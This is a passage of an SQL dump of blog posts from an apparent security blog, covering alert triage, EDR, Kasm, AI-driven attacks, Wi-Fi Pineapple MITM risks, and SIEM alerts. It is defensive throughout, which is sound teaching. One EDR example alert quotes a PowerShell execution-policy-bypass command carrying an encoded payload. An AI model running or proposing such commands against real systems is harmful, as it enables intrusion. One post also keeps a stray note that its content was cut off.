Reality of the SOC\n\n- **85% of security alerts are false positives**, according to research by the Ponemon Institute.\n- Analysts only investigate **56% of alerts** on average, leaving thousands of potential threats unaddressed.\n- **Burnout is real**: Over 70% of analysts with less than five years of experience face turnover risks due to the high-stress environment of unmanaged alerts.\n\n## A 5-Step Framework for Effective Alert Triage\n\nAs a new professional, you need a repeatable process. Don\'t just \"click through\" alerts—investigate them strategically.\n\n### 1. Smart Alert Grouping\n\nStop investigating alerts in isolation. Use your SIEM or SOAR to cluster related signals—such as multiple failed logins followed by a successful one from the same IP. This transforms \"noise\" into a \"story.\"\n\n### 2. Contextual Enrichment\n\nA raw alert (e.g., \"SQL Injection attempt\") is useless without context. Ask:\n\n- Is the target a critical production server or a test lab?\n- Does the server even run SQL? If not, it’s a low-priority false positive.\n- Is this the user\'s standard behavior or a sudden anomaly?\n\n### 3. Risk-Based Prioritization\n\nNot all alerts are equal. Use a scoring system that considers the criticality of the asset and the severity of the threat. Focus on level 1 (critical) threats first, and handle level 3 (low-priority) during regular business hours.\n\n### 4. Focused Investigation Path\n\nFollow defined Runbooks or Playbooks. For an authentication alert, your path should always include verifying MFA usage and checking IP reputation via tools like VirusTotal.\n\n### 5. The Feedback Loop (Tuning)\n\nThis is the most critical step for a new professional. If you identify a persistent false positive—like a nightly backup script triggering a \"mass file move\" alert—document it and work with your security engineers to tune the rule or set a suppression threshold.\n\n## Professional Advice for Your First 90 Days\n\n- **Automate the Mundane**: Use automation for repetitive tasks like IP lookups and indicator extraction so you can focus on human-centric analysis.\n- **Know Your Baseline**: You can\'t spot an outlier if you don\'t know what \"normal\" looks like in your specific network.\n- **Collaborate**: Don\'t be afraid to ask a senior analyst for a second opinion on complex alerts.\n\n## Conclusion\n\nIgnored alarms mean missed opportunities to stop an attack in its early stages. By implementing a structured triage framework and focusing on alert quality over quantity, you protect not only your organization but also your own professional longevity.', '', 'http://infoseclabs.io/uploads/1767481096256-421379954.jpg', NULL, 1, 'published', '2026-01-04 01:56:00', '2026-01-04 18:03:00', 'Information Security', 'Managing Security Alerts: Overcome Alarm Fatigue', 'Learn strategies to combat alarm fatigue and effectively manage security alerts, ensuring no threat goes undetected.', 'Alarm Fatigue'),
(5, 'Why Traditional Antivirus Falls Short in Today\'s Cybersecurity Landscape', '', '# The Evolution of Endpoint Protection: Beyond Traditional Antivirus\n\nCyberattacks are becoming increasingly sophisticated, targeting vulnerabilities with precision and speed. For years, traditional antivirus solutions have been the backbone of endpoint protection. However, as the cybersecurity landscape evolves, so do the tactics of attackers. Today, conventional antivirus software is struggling to keep pace with zero-day exploits and advanced threats. Enter Endpoint Detection and Response (EDR), the next line of defense and perhaps the future of endpoint security.\n\nIn this blog, we’ll explore why signature-based antivirus solutions fall short in combating modern threats and how EDR rises to the challenge with behavior-driven detection. By the end, you’ll understand why it may be time to upgrade your endpoint security strategy.\n\n## The Problem with Traditional Antivirus\n\nFor decades, antivirus software has relied heavily on signature-based detection. But what does that mean, and why is it no longer sufficient?\n\n### How Signature-Based Detection Works\n\nTraditional antivirus tools operate by detecting known patterns or \"signatures\" in malicious files. When a file matches a database of suspicious signatures, it gets flagged and quarantined. This strategy worked exceptionally well in an era when malware evolved slowly, and attacks were less sophisticated.\n\nHowever, modern threats have outgrown this method. Here’s why signature-based detection is falling behind:\n\n- **Zero-Day Exploits:** Cybercriminals exploit vulnerabilities that vendors are unaware of, making signature databases irrelevant in the face of these unknown threats.\n  \n- **Polymorphic Malware:** Modern malware can modify its code to avoid detection, rendering signatures ineffective.\n  \n- **Sophisticated Attacks:** Hackers now use complex, multi-vector attacks that traditional antivirus cannot analyze comprehensively.\n\nThe result? Relying purely on antivirus creates significant blind spots in your security strategy, leaving your organization vulnerable to evolving threats.', '', 'http://infoseclabs.io/uploads/1767482620674-705801876.png', NULL, 1, 'published', '2025-12-30 10:18:00', '2026-01-04 18:18:06', 'Information Security', 'Overcoming Alert Overload in Cybersecurity', 'Discover how EDR surpasses traditional antivirus in tackling modern cyber threats. Upgrade your security strategy today.', 'Endpoint Protection'),
(6, 'Elevate Your Cybersecurity Skills with Kasm Workspaces: A Comprehensive Guide', 'elevate-your-cybersecurity-skills-with-kasm-workspaces-a-comprehensive-guide', '# Kasm Workspaces for Cybersecurity Professionals\n\nThe world of cybersecurity is vast, continuously evolving, and demanding. Whether you\'re a seasoned professional or a budding enthusiast, having the right tools can be a game-changer. One such tool that\'s been making waves in the cybersecurity community is Kasm Workspaces. But what exactly is it, and how can you incorporate it into your home lab to enhance your skills and security? This blog will answer these questions and guide you through using Kasm Workspaces as a cybersecurity professional.\n\n## What is Kasm Workspaces?\n\n### Overview of Kasm Workspaces\n\nKasm Workspaces is a modern, container-based virtual desktop infrastructure (VDI) platform designed to create isolated environments for safe browsing, application deployment, remote work, and more. Unlike traditional VDIs, Kasm Workspaces utilizes lightweight containers, such as Docker, to provide scalable and secure access to virtualized environments.\n\nWhether you need to run a browser in a sandboxed environment, analyze suspicious files isolated from your main machine, or simply access a secure workspace remotely, Kasm Workspaces offers a robust and efficient solution.\n\n### Benefits for Cybersecurity Professionals\n\nFor cybersecurity professionals, Kasm Workspaces checks several critical boxes:\n\n- **Secure Environments:** Create isolated containers to analyze threats, execute potentially malicious files, or browse the web securely without risk to host machines.\n\n- **Lightweight and Scalable:** Unlike resource-heavy VMs, Kasm Workspaces\' containerized approach provides flexibility without high hardware requirements.\n\n- **Centralized Management:** Manage multiple workspaces, configurations, and users from a single dashboard effortlessly.', '', 'http://infoseclabs.io/uploads/1767482767599-980252455.png', NULL, 1, 'published', '2026-01-03 02:26:00', '2026-01-05 00:33:14', 'Projects', 'Kasm Workspaces: Setup Guide for Cybersecurity Pros', 'Discover how Kasm Workspaces enhances cybersecurity home labs with secure, scalable, containerized environments.', 'Kasm Workspaces'),
(7, 'The Rise of AI in Cybercrime: Understanding the Threats and Defenses', 'the-rise-of-ai-in-cybercrime-understanding-the-threats-and-defenses', '# The New Frontier: AI-Powered Cyberattacks\n\nThe rapid advancements in artificial intelligence (AI) have revolutionized industries by streamlining processes and creating new opportunities. However, along with its many benefits, AI has also opened a new frontier for cybercriminals. Hackers increasingly leverage machine learning and AI tools to enhance their cyberattacks, making them more sophisticated, effective, and harder to detect.\n\nThis blog delves into how AI is reshaping the cyberattack landscape, provides real-world examples, and offers actionable strategies to defend against this growing threat. If you\'re concerned about how AI is influencing cybersecurity, you\'re in the right place.\n\n## How AI Enhances Cyberattacks\n\nAI adds a dangerous layer of automation, precision, and deception to cyberattacks. Here are some ways hackers are weaponizing machine learning to exploit vulnerabilities.\n\n### Automated Vulnerability Detection\n\nHackers often need to identify weaknesses in a system to stage their attacks. Traditional methods of scanning for vulnerabilities are manual and time-consuming. However, with AI, cybercriminals can now automate this process, allowing them to find weak points in networks, software, or applications much faster.\n\nAI-powered tools analyze large datasets to identify exploitable vulnerabilities and leverage predictive analytics to determine the likelihood of specific attacks succeeding, helping hackers optimize their targets effectively.\n\nFor example, AI can detect unpatched software versions, misconfigured firewalls, or even analyze encryption keys to uncover weaknesses. This automation enables attackers to plot cyberattacks on a scale never seen before.\n\n### Advanced Phishing Campaigns\n\nPhishing, a form of cyberattack where hackers pretend to be legitimate entities to trick users into revealing sensitive information, has been around for years. However, AI has supercharged phishing schemes to become more indistinguishable from real correspondence.\n\nMachine learning enables cybercriminals to create hyper-personalized phishing messages by analyzing social media profiles, email conversations, and public records. AI can craft well-written, contextually appropriate emails that users are far more likely to click on, making these phishing attempts nearly impossible to detect using traditional filters.\n\nAccording to recent studies, 91% of all cyberattacks begin with a phishing email. Now, AI is increasing both the sophistication and authenticity of these scams, putting organizations at greater risk.\n\n### Evasive Malware and Polymorphism\n\nOne of the most dangerous aspects of AI in cyberattacks is the creation of evasive malware. AI-powered malware continuously reconfigures itself to evade detection by security software.\n\nPolymorphic malware, for instance, uses AI to generate new versions of itself with minor variations in its code. These changes render detection tools like signature-based antiviruses obsolete because they cannot recognize new iterations.\n\nWhat\'s worse, AI-powered malware can actively \"learn\" from its environment, adapting its behavior in real-time to avoid detection. It can analyze which types of actions trigger alerts and modify its activity accordingly, ensuring it stays under the radar longer.\n\n## Real-World Examples of AI-Powered Attacks\n\nAI-powered cyberattacks are no longer just hypothetical. They have already made their mark in the real world, with several alarming examples surfacing in recent years.\n\n1. **Deepfake Impersonation Scams**  \n   Hackers have used AI-generated deepfake audio to impersonate company executives. For instance, in 2019, cybercriminals used deepfake technology to mimic the voice of a CEO, convincing an employee to transfer $243,000 to a fraudulent bank account.\n\n2. **AI-Enhanced Credential Stuffing**  \n   Credential stuffing involves hackers attempting to gain access by leveraging usernames and passwords leaked from previous data breaches. AI can enhance these attacks by using machine learning to test stolen credentials across hundreds of platforms, identifying successful logins faster than human hackers could.\n\n3. **Sophisticated Chatbot Scams**  \n   Malicious chatbots powered by AI have been deployed to scam unsuspecting users. These bots can impersonate company representatives, tricking users into providing sensitive information or downloading harmful files.\n\nThese examples demonstrate the deadly potential of AI in the hands of hackers. But what can organizations do to defend themselves?\n\n## Defending Against AI Cyberattacks\n\nWhile the rise of AI-powered cyberattacks is alarming, the good news is that AI is also a powerful ally in cybersecurity. Here’s how organizations can leverage AI to stay one step ahead of attackers.\n\n### AI-Driven Threat Detection Systems\n\nSecurity systems powered by AI are vital in detecting and stopping advanced threats. These systems can process and analyze vast amounts of data in real-time, uncovering patterns or anomalies that traditional tools might miss.\n\nFor example, AI systems like CrowdStrike and Darktrace continuously monitor network traffic for suspicious activity. When a system behaves unusually, such as a sudden spike in outbound data transfers, these tools can flag it and take automated actions to mitigate threats.\n\nAdditionally, AI can provide early warnings about potential attacks by analyzing global cybersecurity trends, enabling organizations to prepare proactive defenses.\n\n### Behavioral Analysis and Anomaly Detection\n\nTraditional cybersecurity methods often rely on static rules, making them susceptible to dynamic threats like AI-powered polymorphic malware. AI solves this problem through behavioral analysis and anomaly detection.\n\nInstead of focusing only on known threat signatures, AI tools observe normal patterns of behavior within a system. Any deviation from the norm triggers alerts, even if the activity doesn’t match a known attack signature.\n\nFor example, if malware disguised as a legitimate application suddenly starts accessing sensitive files, an AI-based security system would flag this as suspicious and isolate the application before any damage is done.\n\n### Proactive Security Measures and Threat Intelligence\n\nThe key to defending against AI-powered cyberattacks is staying ahead of evolving threats. Organizations need to adopt proactive measures like penetration testing, threat simulations, and regular software updates.\n\nThreat intelligence platforms powered by AI can help businesses identify vulnerabilities before hackers do. These platforms scour the dark web, stay updated on newly discovered exploits, and provide actionable recommendations for patching weak spots.\n\nBy continuously improving their defenses and staying informed about emerging threats, businesses can significantly minimize the risks posed by AI-enhanced cyberattacks.\n\n## The Future of Cybersecurity in the Age of AI\n\nAI is rapidly transforming cybersecurity from both an offensive and defensive standpoint. While hackers will continue to exploit AI to create sophisticated cyberattacks, the same technology offers powerful solutions to thwart them.\n\nThe best way forward is for businesses and organizations to adopt AI-driven cybersecurity tools, invest in advanced threat intelligence systems, and remain vigilant in updating their defenses. When used responsibly, AI isn’t just a challenge to overcome; it’s the key to staying ahead in an increasingly complex digital world.\n\nTo safeguard your organization against AI-powered cyber threats, start exploring AI-driven cybersecurity solutions today. The future of digital safety depends on your readiness to adapt and protect.', '', 'http://infoseclabs.io/uploads/1767499156712-998648028.png', NULL, 1, 'published', '2026-01-07 02:58:00', '2026-01-07 18:18:38', 'Information Security', 'AI-Powered Cyberattacks: Hackers & Machine Learning', 'Discover how AI is transforming cyberattacks and learn strategies to protect against these sophisticated threats.', 'AI cyberattacks'),
(8, 'Security Tools vs. Manual Investigation: Building a Balanced Cybersecurity Professional', 'security-tools-vs-manual-investigation-building-a-balanced-cybersecurity-professional', '# Balancing Tools and Manual Skills in Cybersecurity\n\nCybersecurity is one of the most dynamic fields in the modern workforce, where threats evolve as quickly as the technology designed to counter them. This creates a significant challenge for cybersecurity professionals to continuously refine their skills and adapt to new methodologies. A long-standing debate in the field centers around whether professionals should focus on mastering security tools or prioritize honing their manual investigation skills.\n\nThe truth is, to become a well-rounded cybersecurity professional, it\'s not about choosing between the two but striking the right balance. This blog will explore the strengths and limitations of relying on tools, the irreplaceable value of manual investigation, and how blending these approaches can prepare you to thrive in this fast-paced field.\n\n## The Role of Security Tools in Cybersecurity\n\nSecurity tools are indispensable for automating complex tasks, ensuring faster detection and response, and providing organizations with a robust line of defense. Today\'s advanced tools have revolutionized cybersecurity by adding scalability, speed, and near real-time insights.\n\n### Key Tools Empowering Cybersecurity Professionals\n\n1. **Security Information and Event Management (SIEM):** SIEM tools such as Splunk and IBM QRadar analyze logs and events across an organization\'s IT environment, providing centralized visibility over network activity.\n2. **Intrusion Detection and Prevention Systems (IDS/IPS):** Tools like Snort and Suricata scan for suspicious traffic patterns to prevent network intrusions.\n3. **Vulnerability Scanners:** Solutions like Nessus and Rapid7 Nexpose identify weak points in your network that attackers might exploit.\n4. **Endpoint Detection and Response (EDR):** Tools like CrowdStrike and SentinelOne monitor endpoint behavior to detect anomalies and prevent breaches.\n\n### Benefits of Security Tools\n\nSecurity tools bring speed and efficiency to tasks that would take hours or even days if performed manually. They excel at:\n\n- **Threat Detection:** Automating the detection of malware or unusual activity, greatly reducing response times.\n- **Log Management:** Consolidating log data from multiple sources for easier monitoring.\n- **Reducing Errors:** Tools minimize human errors by providing consistent, algorithm-based processes.\n- **Scalability:** Tools handle large datasets and adapt to growing organizations with minimal additional labor.\n\nHowever, as powerful as these tools are, their limitations mean they can\'t be the sole focus for cybersecurity professionals.\n\n## The Importance of Manual Investigation Skills\n\nSecurity tools cannot replace the expertise, critical thinking, and intuition of a human investigator. Their reliance on predefined rules and algorithms makes them vulnerable to bypasses, misconfiguration, or outright failures.\n\n### Core Manual Investigation Techniques\n\n1. **Log Analysis:** Reviewing raw data from logs can uncover nuanced patterns and anomalies that automated tools may miss.\n2. **Network Traffic Analysis:** Manually inspecting network packets with tools like Wireshark helps you understand intricate details about suspicious traffic.\n3. **Malware Analysis:** Analyzing malicious files through static and dynamic means (e.g., decompiling code or sandbox testing) can help determine their capabilities and origins.\n4. **Behavioral Analysis:** Looking for deviations from expected behavior within user or system interactions often requires human insight.\n\n### Why Manual Skills Matter\n\n- **Complex Threats:** Cyberattacks are becoming increasingly sophisticated, and manual analysis is often required to understand advanced tactics, techniques, and procedures (TTPs).\n- **False Positives:** Over-reliance on tools can lead to missed legitimate activity being misclassified as malicious or vice versa. Human judgment is vital for distinguishing between the two.\n- **Incident Response:** When tools fail or are rendered inoperable by attackers, skilled cybersecurity professionals step in to contain, investigate, and resolve issues.\n\nBy investing in manual skills, professionals not only enhance their problem-solving capabilities but also ensure that their expertise remains irreplaceable.\n\n## Striking a Balance Between Tools and Manual Expertise\n\nThe ultimate goal for cybersecurity professionals is not about choosing one approach over the other but knowing when and how to combine both effectively. Here\'s why a blended approach works best:\n\n- **Efficiency with Tools:** Tools save time by automating repetitive tasks, letting professionals focus their manual expertise on more intricate issues.\n- **Human Judgment as a Safety Net:** Professionals must validate and interpret the data generated by tools to avoid decision-making based on incomplete or misleading information.\n- **Incident Adaptability:** While tools operate by predefined rules, humans can creatively adapt to situations.\n\nBy using security tools as extensions of their own ability—not replacements for it—professionals can maximize their impact.\n\n## Incident Response Scenario\n\nImagine this scenario: Your Security Information and Event Management (SIEM) system, which usually alerts your team of potential intrusions, has failed due to a technical error. At the same time, one of your endpoints begins acting suspiciously, potentially signaling a breach. What do you do?\n\n**Step 1 – Activate the Incident Response Plan:**\n\nInitiate the pre-established incident response plan (IRP). Begin by identifying the team members who need to be involved and delegating tasks to ensure a structured approach.\n\n**Step 2 – Collect Logs and Evidence:**\n\nSince the SIEM system is down, manually retrieve event logs from key systems (e.g., network firewalls, servers, and endpoint devices). Verify any discrepancies or unusual activity.\n\n**Step 3 – Conduct a Manual Investigation:**\n\nUse tools like Wireshark to manually analyze network traffic from suspicious endpoints. Perform behavioral analysis to identify patterns of attack.\n\n**Step 4 – Contain and Mitigate:**\n\nIsolate impacted systems from your network to prevent escalation. Apply containment measures, such as endpoint quarantine or restricting user permissions.\n\n**Step 5 – Eradication and Recovery:**\n\nRemove the threat manually by using advanced techniques like malware removal tools or system rollbacks. Restore all systems to their functional state and monitor them for lingering threats.\n\nThis scenario highlights how security tools provide convenience but how manual investigation remains critical when tools fail.\n\n## Best Practices for Professional Development\n\nTo become an effective cybersecurity professional capable of balancing tools and manual skills, consider the following:\n\n- **Certifications and Training:**', '', 'http://infoseclabs.io/uploads/1767499299723-760685997.png', NULL, 1, 'draft', '2026-01-09 11:01:00', '2026-01-04 07:02:42', 'Information Security', 'Security Tools vs. Manual Skills: Cybersecurity Balance', 'Discover how to balance security tools and manual investigation skills for a comprehensive cybersecurity approach.', 'Cybersecurity Balance'),
(9, 'Wi-Fi Pineapple: A Comprehensive Guide to Network Security and Threat Prevention', 'wi-fi-pineapple-a-comprehensive-guide-to-network-security-and-threat-prevention', '# Understanding Wi-Fi Pineapple: A Cybersecurity Perspective\n\nWhen you hear the term \"Wi-Fi Pineapple,\" you might picture a tropical fruit connected to your network. However, in the cybersecurity world, this device is far from sweet. Wi-Fi Pineapples are powerful tools designed for network auditing, but in the wrong hands, they can be used for malicious purposes.\n\nThis blog will break down what a Wi-Fi Pineapple is, how it works (with a focus on MITM attacks), real-world scenarios where these devices have been exploited, and effective security measures to protect yourself. By the end, you\'ll have a deeper understanding of this tool and how to stay one step ahead of potential attackers.\n\n## What Is a Wi-Fi Pineapple?\n\nA Wi-Fi Pineapple is a device created by Hak5, a company known for its ethical hacking training tools. Originally built to assist network administrators and penetration testers, the Pineapple allows users to monitor, analyze, and test wireless networks.\n\nEssentially, it acts as a device that can simulate rogue Wi-Fi networks and mimic legitimate access points (APs). It can capture data, intercept information, and probe vulnerabilities in a network’s security framework. While its ethical use is significant in network auditing and cybersecurity testing, these devices can also be exploited by hackers for nefarious purposes.\n\n## How Wi-Fi Pineapple Works: Man-in-the-Middle (MITM) Attacks Explained\n\nOne of the most dangerous features of the Wi-Fi Pineapple is its ability to facilitate a **man-in-the-middle (MITM) attack** seamlessly. Here’s how it works:\n\n### Step 1: Mimicking Legitimate Wi-Fi Networks\n\nWi-Fi Pineapples scan the area for Wi-Fi AP names and automatically respond to connection requests. Many unsuspecting devices, such as laptops and smartphones, are programmed to automatically reconnect to familiar Wi-Fi names (e.g., \"Starbucks_Free_WiFi\"). The Pineapple responds as the “strongest” signal impersonating that AP.\n\n### Step 2: Capturing Data\n\nWhen a victim connects to the Pineapple, their internet traffic can be intercepted. Attackers can collect sensitive data such as login credentials, session cookies, and even browsing activity.\n\n### Step 3: Deploying Attacks\n\nDuring MITM attacks, bad actors can:\n\n- Redirect users to malicious websites to steal information.\n- Inject malware into HTTP traffic.\n- Uncover intricate details of unencrypted connections.\n\nThe result? Your personal and professional data is captured without your knowledge, and in unsecured networks, this risk skyrockets.\n\n## Different Wi-Fi Pineapple Models and Their Features\n\nHak5 currently offers several models of Wi-Fi Pineapple devices, catering to both beginner and advanced users. Below are the most popular models:\n\n### 1. Wi-Fi Pineapple Nano\n\n- Portable yet powerful\n- Best for on-the-go network assessments\n- Budget-friendly, making it accessible to beginners\n\n### 2. Wi-Fi Pineapple Tetra\n\n- Dual radio capabilities\n- Handles multiple wireless clients simultaneously\n- Perfect for advanced penetration testing setups\n\n### 3. Enterprise Solutions\n\n- High-level auditing programs customized for corporate needs\n- More security and control for ethical usage\n\nEach model includes rich features like packet sniffing, victim profiling, and additional plugins to enhance adaptability. However, these tools also make them dangerous if exploited.\n\n## Real-World Scenarios of Pineapple Attacks\n\nWi-Fi Pineapples pose significant threats to any environment where Wi-Fi is accessible. Here are real-world examples to illustrate how they’ve been used:\n\n### 1. Coffee Shop Surveillance\n\nA cybercriminal sits in a coffee shop with their Wi-Fi Pineapple. As customers connect to what they believe is the café\'s free Wi-Fi, the attacker intercepts login credentials for banking apps and social media platforms.\n\n### 2. Corporate Espionage\n\nAttackers impersonate a secure office network, tricking employees into connecting to their rogue AP. This enables the attacker to exfiltrate sensitive corporate data.\n\n### 3. Conference Exploits\n\nLarge public events such as tech conferences present easy targets. Attendees connect to what they think is the event Wi-Fi. Hackers use Pineapples to inject malicious programs or monitor unencrypted emails.\n\nThese examples indicate how a seemingly innocuous device can disrupt personal security and corporate networks alike.\n\n## Best Practices for Protection: Security Measures and Tools\n\nFortunately, you can protect yourself and your organization from Wi-Fi Pineapple-enabled attacks. Implement the following best practices:\n\n### 1. Avoid Public Wi-Fi Whenever Possible\n\nPublic networks lack security and make you vulnerable to rogue APs. Use your mobile hotspot or a known secure network instead.\n\n### 2. Use a VPN\n\nA Virtual Private Network (VPN) encrypts your internet traffic. Even if an attacker intercepts it, they won’t be able to decipher sensitive data.\n\n### 3. Beware of Rogue APs\n\nTurn off auto-connect to networks in your device’s settings. Manually verify the legitimacy of Wi-Fi networks before connecting.\n\n### 4. Enable HTTPS\n\nEnsure that every website you visit uses HTTPS encryption. Tools like HTTPS Everywhere (a browser extension) enforce this, creating a secure connection.\n\n### 5. Add Strong Endpoint Protection\n\nInstall antivirus and antimalware programs across your devices. Many endpoint security tools alert you to suspicious activity initiated by MITM tactics.\n\n### 6. Educate Employees\n\nFor businesses, invest in cybersecurity awareness training. Equip employees to recognize phishing schemes and rogue AP strategies.\n\n### 7. Use MAC Address Filtering\n\nOn sensitive networks, permit access only to known devices using MAC address filtering. While not foolproof, it’s another layer of security.\n\nBy following these tactics, individuals and companies can significantly reduce vulnerabilities.\n\n## The Future of Wi-Fi Security and Pineapple Devices\n\nWhile devices like the Wi-Fi Pineapple are unlikely to disappear anytime soon, advancements in network security continue to evolve:\n\n- **Wi-Fi 6 Encryption**: New standards, such as WPA3 in Wi-Fi 6, aim to improve encryption and prevent data sniffing.\n- **AI-Driven Security**: Automated threat detection using artificial intelligence can monitor network traffic in real-time for suspicious activities.\n\nThese advancements promise a more secure future in the face of evolving threats.', '', 'http://infoseclabs.io/uploads/1767499500376-718819269.png', NULL, 1, 'published', '2026-01-06 11:04:00', '2026-01-08 01:43:04', 'Projects', 'Protect Yourself from Wi-Fi Pineapple Attacks', 'Learn how to safeguard against Wi-Fi Pineapple attacks with effective security measures and insights into MITM threats.', 'Wi-Fi Pineapple'),
(10, 'Top EDR Alerts Every Organization Encounters and How to Handle Them', 'top-edr-alerts-every-organization-encounters-and-how-to-handle-them', '# Understanding Endpoint Detection and Response (EDR) Alerts\n\nEndpoint Detection and Response (EDR) is a critical component of modern cybersecurity strategies. With the rise of sophisticated cyber threats targeting endpoints such as laptops, servers, and mobile devices, EDR tools help detect, analyze, and respond to potential risks in real-time. However, managing EDR alerts can often feel overwhelming due to the sheer volume of notifications generated in an enterprise environment.\n\nThis post explores the most common categories of EDR alerts, provides examples of key alerts organizations typically encounter, and shares best practices for analyzing, prioritizing, and responding effectively. Whether you\'re a security analyst working in a SOC or an IT professional overseeing endpoint security, this guide will help you navigate the EDR alert landscape with confidence.\n\n## Why EDR Alerts Matter\n\nWhy are EDR alerts so critical to an organization\'s security posture? Simply put, endpoints are common entry points for attackers. Malicious actors often use techniques such as phishing emails, malware, or compromised credentials to gain access to endpoints before moving laterally across a network.\n\nEDR tools monitor endpoint activities, log suspicious behaviors, and send alerts when potential threats are detected. These alerts highlight risks such as malware infections, unauthorized file access, and anomalous network behavior. Ignoring or mismanaging these alerts could allow attackers to escalate their operations undetected, causing significant damage to your business.\n\n## Common EDR Alert Categories\n\nTo efficiently manage EDR alerts, it’s important to first understand their key categories. These alerts typically fall under the following types:\n\n### Malware Detection\n\nAlerts related to known or suspected malware activity, such as ransomware, trojans, or spyware. These often stem from signature-based detections or anomalous behaviors.\n\n### Suspicious Process Execution\n\nAlerts generated when an unusual or unauthorized process runs on an endpoint. Examples include PowerShell abuse or launching a process from unexpected directories.\n\n### Unusual User Behavior\n\nBehavioral anomalies such as a user accessing sensitive data at unusual hours or failed login attempts from unfamiliar locations often trigger alerts.\n\n### File Integrity Variations\n\nActivities such as unauthorized changes, additions, or deletions of critical system files or registries send file integrity alerts. These can indicate attempts to tamper with systems.\n\n### Network Anomalies\n\nUnusual traffic patterns between endpoints or outbound connections to suspicious external IP addresses result in network-related alerts.\n\n### Privilege Escalation Attempts\n\nAlerts flag actions where a user or process attempts to gain elevated access privileges without authorization.\n\n## Top EDR Alert Examples\n\nLet\'s take a closer look at specific EDR alert examples and their significance in an enterprise security environment.\n\n### Example 1: Ransomware Behavior Detected\n\n- **Alert Description**: Files are being renamed with “.encrypted” extension, indicating potential ransomware activity.\n- **Details**:\n  - Process Name: `encryptor.exe`\n  - Detected Behavior: Mass file encryption in user directories.\n  - Host Machine: `Workstation-22`\n- **Action Required**:\n  - Isolate the endpoint immediately.\n  - Identify the ransomware strain and retrieve backups.\n  - Perform a root-cause analysis to prevent recurrence.\n\n### Example 2: PowerShell Command-Line Anomaly\n\n- **Alert Description**: Unusual PowerShell script execution detected on server.\n- **Details**:\n  - Command Line Argument: `powershell -exec bypass -enc [Base64 encoded payload]`\n  - User Account: `admin_temp`\n  - Timestamp: `2024-03-14 11:23 PM`\n- **Action Required**:\n  - Investigate execution context and user activity.\n  - Reverse engineer the encoded payload to detect malicious intent.\n\n### Example 3: Unauthorized Administrator Access\n\n- **Alert Description**: A non-admin user attempted to access privileged directories.\n- **Details**:\n  - Affected Directory: `/etc/shadow`\n  - Failed Logins Detected: 5 attempts\n  - Source IP Address: `192.168.1.45`\n- **Action Required**:\n  - Lock the user\'s account temporarily.\n  - Analyze source IP activity for brute-force attack patterns.\n\n### Example 4: Outbound Connection to Known Malicious IP\n\n- **Alert Description**: Host attempted to contact a blacklisted external IP address.\n- **Details**:\n  - (Further details would be provided here, but they were cut off in the original content.)\n\nUnderstanding these alerts and their implications can significantly enhance an organization\'s ability to protect its network infrastructure. Properly responding to EDR alerts ensures that potential threats are mitigated swiftly, reducing the risk of significant breaches.', '', 'http://infoseclabs.io/uploads/1767499662544-499873320.png', NULL, 1, 'draft', '2026-01-10 11:06:00', '2026-01-04 07:08:00', NULL, 'Top EDR Alerts & Solutions for Organizations', 'Discover common EDR alerts and learn effective strategies to manage and respond to them, ensuring robust endpoint security.', 'EDR Alerts');
INSERT INTO `blog_posts` (`id`, `title`, `slug`, `content`, `excerpt`, `featured_image`, `featured_image_alt`, `author_id`, `status`, `created_at`, `updated_at`, `category`, `seo_title`, `seo_description`, `focus_keyword`) VALUES
(11, 'Mastering SIEM Alerts: A Guide to Effective Management and Optimization', 'mastering-siem-alerts-a-guide-to-effective-management-and-optimization', '# Understanding and Managing SIEM Alerts\n\nSecurity Information and Event Management (SIEM) systems are foundational tools in modern cybersecurity. They provide critical insights into an organization\'s environment by collecting, analyzing, and prioritizing data from various sources. However, one of the main challenges for security analysts and Security Operations Center (SOC) teams is managing the sheer volume of alerts generated daily.\n\nThis post explores the most common SIEM alerts organizations encounter, including examples of critical alerts and how to prioritize, manage, and optimize your SIEM system effectively.\n\n## What Are SIEM Alerts and Why Are They Important?\n\nSIEM alerts are notifications generated by a SIEM system when it detects activity that matches preconfigured rules or anomalies in the monitored environment. These alerts help security teams address potential threats swiftly, thereby minimizing risks to the organization.\n\n### Why SIEM Alerts Matter\n\n- **Real-Time Threat Detection**: Alerts identify security incidents like network intrusions or unauthorized access as they occur.\n- **Less Downtime**: Early warning systems reduce the time to resolve critical vulnerabilities.\n- **Compliance**: SIEM tools help organizations meet regulatory requirements by providing detailed logging and reporting.\n\nWithout proper alert management, these tools can easily overwhelm teams with noise, making it challenging to differentiate true cyber threats from false positives.\n\n## Common Types of SIEM Alerts Organizations Receive\n\nSIEM systems can monitor a wide range of events, but certain types of alerts are more prevalent across organizations. Below are some categories that security analysts commonly encounter:\n\n### 1. Failed Login Attempts\n\n- **Why It Happens**: A user attempts to log in multiple times with incorrect credentials.\n- **Risk**: This often indicates a brute-force attack or an insider threat attempting unauthorized access.\n- **Example**: Multiple failed logins across different accounts within a short time frame.\n\n### 2. Unusual User Behavior\n\n- **Why It Happens**: A user deviates from their normal login patterns (e.g., accessing resources at odd hours).\n- **Risk**: A compromised account or insider threat.\n- **Example**: An employee who typically works in New York is suddenly logging in from an IP address in Eastern Europe at 3 AM.\n\n### 3. Malware Detection\n\n- **Why It Happens**: Malware signatures are detected on a workstation or server.\n- **Risk**: The malware could spread laterally across networks and exfiltrate data.\n- **Example**: A SIEM tool picks up logs from your antivirus software indicating the presence of files matching known ransomware hashes.\n\n### 4. Privilege Escalation Attempts\n\n- **Why It Happens**: Users or processes attempt to gain administrative privileges.\n- **Risk**: Privilege escalation is often an early step in more complex attacks like ransomware.\n- **Example**: A standard user suddenly tries to execute administrative commands without prior approval.\n\n### 5. Data Exfiltration\n\n- **Why It Happens**: Large volumes of sensitive data are transferred outside the organization’s internal network.\n- **Risk**: A clear sign of insider threats or external breaches.\n- **Example**: A file server sending gigabytes of data to an unknown external IP over a short duration.\n\n### 6. Unauthorized Access to Critical Systems\n\n- **Why It Happens**: Access attempts to systems housing sensitive data outside of permissible roles or hours.\n- **Risk**: A sign of malicious insider activity or an attacker leveraging stolen credentials.\n- **Example**: A user account attempts to access a database server containing financial records without prior authorization.\n\n### 7. Denial-of-Service (DoS) Attack Indicators\n\n- **Why It Happens**: A spike in network traffic results in a server becoming unresponsive.\n- **Risk**: Disruption of operations, affecting customer experience and internal workflows.\n- **Example**: Your SIEM correlates logs pointing to unusually high traffic originating from multiple IP addresses targeting a single web server.\n\n### 8. Suspicious File Modifications\n\n- **Why It Happens**: Critical system files are unexpectedly modified.\n- **Risk**: Could indicate ransomware encrypting files or malware embedding payloads.\n- **Example**: Unauthorized changes to key registry settings or .bat and .dll files.\n\nEach of these alerts represents distinct threats that require prompt investigation and action. However, not all alerts are created equal, and some demand more immediate attention than others.\n\n## How to Effectively Manage and Prioritize 